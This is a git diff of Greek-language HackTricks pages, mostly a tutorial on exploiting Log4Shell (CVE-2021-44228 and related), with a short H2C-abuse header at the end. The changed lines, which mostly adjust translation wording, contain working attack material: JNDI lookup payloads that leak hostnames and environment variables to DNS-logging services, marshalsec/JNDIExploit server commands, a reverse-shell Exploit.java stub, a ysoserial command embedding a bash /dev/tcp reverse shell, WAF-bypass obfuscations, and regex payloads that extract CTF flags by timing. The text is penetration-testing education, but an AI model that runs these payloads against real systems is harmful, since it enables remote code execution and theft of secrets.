Επηρεάζοντας την έκδοση log4j 2.17, αυτό το CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρυθμίσεων του log4j. Περιλαμβάνει πιθανή εκτέλεση αυθαίρετου κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην ανάρτηση ιστολογίου της [Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Εκμετάλλευση του Log4Shell
@ -103,21 +111,21 @@
Αυτή η ευπάθεια είναι πολύ εύκολη να ανακαλυφθεί αν δεν προστατεύεται, επειδή θα στείλει τουλάχιστον μια **αίτηση DNS** στη διεύθυνση που υποδεικνύετε στο φορτίο σας. Συνεπώς, φορτία όπως:
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (χρησιμοποιώντας [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (χρησιμοποιώντας [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (χρησιμοποιώντας το [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (χρησιμοποιώντας το [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (χρησιμοποιώντας το Burp Suite)
* `${jndi:ldap://2j4ayo.dnslog.cn}` (χρησιμοποιώντας [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` χρησιμοποιώντας (χρησιμοποιώντας [huntress](https://log4shell.huntress.com))
* `${jndi:ldap://2j4ayo.dnslog.cn}` (χρησιμοποιώντας το [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` χρησιμοποιώντας (χρησιμοποιώντας το [huntress](https://log4shell.huntress.com))
Σημειώστε ότι **ακόμα κι αν ληφθεί μια αίτηση DNS αυτό δεν σημαίνει ότι η εφαρμογή είναι εκτεθειμένη** (ή ακόμα και ευάλωτη), θα πρέπει να προσπαθήσετε να την εκμεταλλευτείτε.
{% hint style="info" %}
Θυμηθείτε ότι για να **εκμεταλλευτείτε την έκδοση 2.15** πρέπει να προσθέσετε την **παράκαμψη ελέγχου τοπικού υπολογιστή**: ${jndi:ldap://**127.0.0.1#**...}
Να θυμάστε ότι για να **εκμεταλλευτείτε την έκδοση 2.15** πρέπει να προσθέσετε την **παράκαμψη ελέγχου τοπικού υπολογιστή**: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **Τοπική Ανακάλυψη**
Αναζητήστε **τοπικές ευάθειες εκδόσεις** της βιβλιοθήκης με:
Αναζητήστε **τοπικές ευάλωτες εκδόσεις** της βιβλιοθήκης με:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
@ -186,9 +194,9 @@ Any other env variable name that could store sensitive information
### Πληροφορίες RCE
{% hint style="info" %}
Οι υπολογιστές που εκτελούνται σε εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 προστατεύονται από το διάνυσμα επίθεσης φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του `com.sun.jndi.ldap.object.trustURLCodebase`, το οποίο εμποδίζει το JNDI από το να φορτώσει ένα απομακρυσμένο codebase μέσω LDAP. Ωστόσο, είναι σημαντικό να σημειωθεί ότι αυτές οι εκδόσεις **δεν προστατεύονται ενάντια στο διάνυσμα επίθεσης αποσειριοποίησης**.
Οι υπολογιστές που εκτελούνται σε εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 προστατεύονται από το διάνυσμα επίθεσης φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του `com.sun.jndi.ldap.object.trustURLCodebase`, το οποίο εμποδίζει το JNDI από το να φορτώσει έναν απομακρυσμένο κωδικό βάσης μέσω LDAP. Ωστόσο, είναι σημαντικό να σημειωθεί ότι αυτές οι εκδόσεις **δεν προστατεύονται ενάντια στο διάνυσμα επίθεσης αποσειριοποίησης**.
Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα **αξιόπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να ρυθμιστούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για τους επιτιθέμενους που στοχεύουν στην εκμετάλλευση αυτών των υψηλότερων εκδόσεων JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα **αξιόπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά ευκολότερη καθώς αυτές οι εκδόσεις μπορούν να ρυθμιστούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για **περισσότερες πληροφορίες** (_όπως περιορισμοί στα διανύσματα RMI και CORBA_) **ελέγξτε την προηγούμενη ενότητα αναφοράς ονομασίας JNDI** ή [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
@ -197,11 +205,11 @@ Any other env variable name that could store sensitive information
Μπορείτε να δοκιμάσετε αυτό στο **κουτί THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Χρησιμοποιήστε το εργαλείο [**marshalsec**](https://github.com/mbechler/marshalsec) (διαθέσιμη η έκδοση jar [**εδώ**](https://github.com/RandomRobbieBF/marshalsec-jar)). Αυτή η προσέγγιση δημιουργεί έναν διακλάδωση LDAP για να ανακατευθύνει τις συνδέσεις σε ένα δευτερεύον HTTP server όπου θα φιλοξενείται η εκμετάλλευση:
Χρησιμοποιήστε το εργαλείο [**marshalsec**](https://github.com/mbechler/marshalsec) (διαθέσιμη η έκδοση jar [**εδώ**](https://github.com/RandomRobbieBF/marshalsec-jar)). Αυτή η προσέγγιση δημιουργεί έναν διακλάδωση LDAP για την ανακατεύθυνση συνδέσεων σε ένα δευτερεύον HTTP διακομιστή όπου θα φιλοξενείται η εκμετάλλευση:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Για να προτρέψετε τον στόχο να φορτώσει κώδικα αντιστρεπτικού κελύφους, δημιουργήστε ένα αρχείο Java με το όνομα `Exploit.java` με το παρακάτω περιεχόμενο:
Για να προτρέψετε τον στόχο να φορτώσει κώδικα αντιστρόφου κελύφους, δημιουργήστε ένα αρχείο Java με το όνομα `Exploit.java` με το παρακάτω περιεχόμενο:
```java
public class Exploit {
static {
@ -224,7 +232,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
### RCE - **JNDIExploit**
{% hint style="info" %}
Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα, χρησιμοποιήστε ένα διαφορετικό τρόπο για την εκμετάλλευση αυτού του ευπαθούς σημείου.
Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα χρησιμοποιήστε ένα διαφορετικό τρόπο για την εκμετάλλευση αυτού του ευπαθούς σημείου.
Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στο wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε.
{% endhint %}
@ -237,8 +245,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Μετά την ανάγνωση του κώδικα μόλις λίγα λεπτά, στο _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς δημιουργούνται **οι διακομιστές LDAP και HTTP**. Ο διακομιστής LDAP θα καταλάβει ποιο φορτίο χρειάζεται να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **κάποιες συγκεκριμένες συσκευές** που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
Μετά την ανάγνωση του κώδικα μόλις λίγα λεπτά, στο _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς **δημιουργούνται οι διακομιστές LDAP και HTTP**. Ο διακομιστής LDAP θα καταλάβει ποιο φορτίο πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **κάποια συγκεκριμένα gadgets** που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Κάποιες χρήσιμες είναι:
```bash
@ -271,18 +279,18 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως το **THM solar room**. Ωστόσο, αυτό συνήθως δεν λειτουργεί (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένη βάση κώδικα χρησιμοποιώντας LDAP) πιστεύω επειδή δεν εκμεταλλεύεται ένα αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα._
_Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως το **THM solar room**. Ωστόσο, αυτό συνήθως δεν λειτουργεί (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένη βάση κώδικα χρησιμοποιώντας LDAP) πιθανόν επειδή δεν εκμεταλλεύεται ένα αξιόπιστης κλάσης για να εκτελέσει αυθαίρετο κώδικα._
### RCE - ysoserial & JNDI-Exploit-Kit
Αυτή η επιλογή είναι πραγματικά χρήσιμη για επιθέσεις σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Επομένως, το **ysoserial** θα χρησιμοποιηθεί για τη δημιουργία **σειριοποιήσεων αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets για **εκτέλεση αυθαίρετου κώδικα** (_η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java θύματος για να λειτουργήσει η εκμετάλλευση_).
Αυτή η επιλογή είναι πολύ χρήσιμη για επιθέσεις σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Συνεπώς, το **ysoserial** θα χρησιμοποιηθεί για τη δημιουργία **σειριοποιήσεων αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets για την **εκτέλεση αυθαίρετου κώδικα** (_η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java θύματος για να λειτουργήσει η εκμετάλλευση_).
Χρησιμοποιώντας το **ysoserial** ή [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα ληφθεί με το JNDI:
Χρησιμοποιώντας το **ysoserial** ή το [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα ληφθεί μέσω JNDI:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Χρησιμοποιήστε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **JNDI συνδέσμους** όπου το exploit θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε **διαφορετικά exploits που μπορούν να δημιουργηθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας φορτία αποσυσκευοποίησης** (που δημιουργήθηκαν από εσάς ή το ysoserial).
Χρησιμοποιήστε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **συνδέσμους JNDI** όπου το exploit θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε **διαφορετικά exploits που μπορούν να δημιουργηθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας φορτία αποσυσκευοποίησης** (που δημιουργήθηκαν από εσάς ή το ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
@ -322,13 +330,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Μετά την Εκμετάλλευση του Log4Shell
Σε αυτό το [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) εξηγείται καλά πώς είναι πιθανό **να καταχραστείτε** κάποιες λειτουργίες του **Log4J**.
Σε αυτό το [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) εξηγείται καλά πώς είναι πιθανό να καταχραστεί κάποιος μερικά χαρακτηριστικά του **Log4J**.
Η [**σελίδα ασφαλείας**](https://logging.apache.org/log4j/2.x/security.html) του Log4j περιέχει μερικές ενδιαφέρουσες προτάσεις:
> Από την έκδοση 2.16.0 (για Java 8), η λειτουργία **αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως**. **Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν**. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά.
> Από την έκδοση 2.16.0 (για Java 8), η δυνατότητα **αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως**. **Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν**. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά.
> Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), **μόνο οι συμβολοσειρές αναζήτησης στη διαμόρφωση επεκτείνονται αναδρομικά**. Σε οποιαδήποτε άλλη χρήση, επιλύεται μόνο η αναζήτηση στο επίπεδο κορυφής, και οι οποιεσδήποτε ενσωματωμένες αναζητήσεις δεν επιλύονται.
> Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), **μόνο οι συμβολοσειρές αναζήτησης στη διαμόρφωση επεκτείνονται αναδρομικά**· σε οποιαδήποτε άλλη χρήση, επιλύεται μόνο η αναζήτηση στο επίπεδο κορυφής, και οι οποιεσδήποτε ενσωματωμένες αναζητήσεις δεν επιλύονται.
Αυτό σημαίνει ότι από προεπιλογή μπορείτε **να ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης `jndi`**. Επιπλέον, για να εκτελέσετε **αναδρομικές αναζητήσεις** πρέπει να τις έχετε διαμορφώσει.
@ -350,21 +358,21 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
![](<../../.gitbook/assets/image (157).png>)
### Εξαιρέσεις Μοτίβων Μετατροπής
### Εξαιρέσεις Προτύπων Μετατροπής
Απλά για να το αναφέρουμε, θα μπορούσατε επίσης να ενθέτετε νέα [**μοτίβα μετατροπής**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) και να προκαλείτε εξαιρέσεις που θα καταγράφονται στο `stdout`. Για παράδειγμα:
Απλά για να το αναφέρουμε, θα μπορούσατε επίσης να ενθέτετε νέα [**πρότυπα μετατροπής**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) και να προκαλείτε εξαιρέσεις που θα καταγράφονται στο `stdout`. Για παράδειγμα:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
Αυτό δεν βρέθηκε χρήσιμο για την εξαγωγή ημερομηνίας μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν είχε λυθεί πριν το μοτίβο μετατροπής, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα, όπως η ανίχνευση.
Αυτό δεν βρέθηκε χρήσιμο για την εξαγωγή ημερομηνίας μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν το πρότυπο μετατροπής, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα, όπως η ανίχνευση.
### Μοτίβα Μετατροπής Ρυθμίσεων
### Πρότυπα Μετατροπής Με Ρυθμίσεις Regex
Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν μερικά **μοτίβα μετατροπής που υποστηρίζουν regexes** για την εξαγωγή πληροφοριών από μια αναζήτηση χρησιμοποιώντας regexes και καταχρώντας τη συμπεριφορά **δυαδικής αναζήτησης** ή **βασισμένη στο χρόνο**.
Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν ορισμένα **πρότυπα μετατροπής που υποστηρίζουν regexes** για την εξαγωγή πληροφοριών από μια αναζήτηση χρησιμοποιώντας regexes και καταχρώντας τη συμπεριφορά **δυαδικής αναζήτησης** ή **βασισμένη στο χρόνο**.
* **Δυαδική αναζήτηση μέσω μηνυμάτων εξαιρέσεων**
Το μοτίβο μετατροπής **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από ένα **συμβολοσειρά** ακόμη και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
Το πρότυπο μετατροπής **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από ένα **συμβολοσειρά** ακόμη και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
Καταχρώντας αυτήν τη συμπεριφορά μπορείτε να κάνετε την αντικατάσταση **να προκαλέσει μια εξαίρεση αν το regex ταιριάζει** με οτιδήποτε μέσα στη συμβολοσειρά (και χωρίς εξαίρεση αν δεν βρεθεί) όπως αυτό:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
@ -374,9 +382,9 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* **Βασισμένο στον χρόνο**
Όπως αναφέρθηκε στην προηγούμενη ενότητα, το **`%replace`** υποστηρίζει **regexes**. Έτσι είναι δυνατόν να χρησιμοποιηθεί φορτίο από τη σελίδα [**ReDoS**](../regular-expression-denial-of-service-redos.md) για να προκαλέσει **timeout** σε περίπτωση που βρεθεί η σημαία.\
Για παράδειγμα, ένα φορτίο όπως `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` θα προκαλούσε ένα **timeout** σε αυτό το CTF.
Για παράδειγμα, ένα φορτίο όπως `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` θα ενεργοποιούσε ένα **timeout** σε αυτό το CTF.
Σε αυτό το [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιηθεί επίθεση ReDoS, χρησιμοποιήθηκε μια **επίθεση ενίσχυσης** για να προκαλέσει διαφορά χρόνου στην απόκριση:
Σε αυτό το [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιήσει μια επίθεση ReDoS, χρησιμοποίησε μια **επίθεση ενίσχυσης** για να προκαλέσει διαφορά χρόνου στην απόκριση:
> ```
> /%replace{
@ -395,9 +403,9 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
> }{#}{######################################################}
> ```
>
> Αν η σημαία ξεκινά με `flagGuess`, ολόκληρη η σημαία αντικαθίσταται με 29 `#` (χρησιμοποίησα αυτό το χαρακτήρα επειδή πιθανότατα δεν θα αποτελεί μέρος της σημαίας). **Κάθε ένα από τα 29 `#` αντικαθίσταται με 54 `#`**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, οδηγώντας σε συνολικά ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
> Αν η σημαία ξεκινά με `flagGuess`, ολόκληρη η σημαία αντικαθίσταται με 29 `#` (χρησιμοποίησα αυτό το χαρακτήρα επειδή πιθανότατα δεν θα αποτελεί μέρος της σημαίας). **Κάθε ένα από τα 29 `#` στο τελικό αποτέλεσμα αντικαθίσταται με 54 `#`**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, οδηγώντας σε συνολικά ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
>
> Η αντικατάσταση τόσων πολλών `#` θα προκαλέσει το timeout 10 δευτερολέπτων της εφαρμογής Flask, που στη συνέχεια θα οδηγήσει στην αποστολή του κωδικού κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά με `flagGuess`, θα λάβουμε έναν μη-κωδικό κατάστασης 500)
> Η αντικατάσταση τόσων `#` θα ενεργοποιήσει το timeout 10 δευτερολέπτων της εφαρμογής Flask, με αποτέλεσμα να σταλεί στον χρήστη ο κωδικός κατάστασης HTTP 500. (Αν η σημαία δεν ξεκινά με `flagGuess`, θα λάβουμε έναν μη-κωδικό κατάστασης 500)
## Αναφορές
@ -410,6 +418,12 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -419,7 +433,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,8 +1,8 @@
# Αναβάθμιση Κεφαλίδας Εκμετάλλευσης
# Αναβάθμιση Κεφαλίδας Κατάχρησης
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -10,17 +10,25 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
### Εκμετάλλευση H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### H2C Κατάχρηση <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### HTTP2 Πάνω σε Καθαρό Κείμενο (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
Το H2C, ή **http2 πάνω σε καθαρό κείμενο**, αποκλίνει από τον κανόνα των προσωρινών συνδέσεων HTTP αναβαθμίζοντας μια τυπική σύνδεση HTTP σε μια μόνιμη. Αυτή η αναβαθμισμένη σύνδεση χρησιμοποιεί το δυαδικό πρωτόκολλο http2 για τη συνεχή επικοινωνία, αντί για τη μονοαίτηση φύση του καθαρού HTTP.
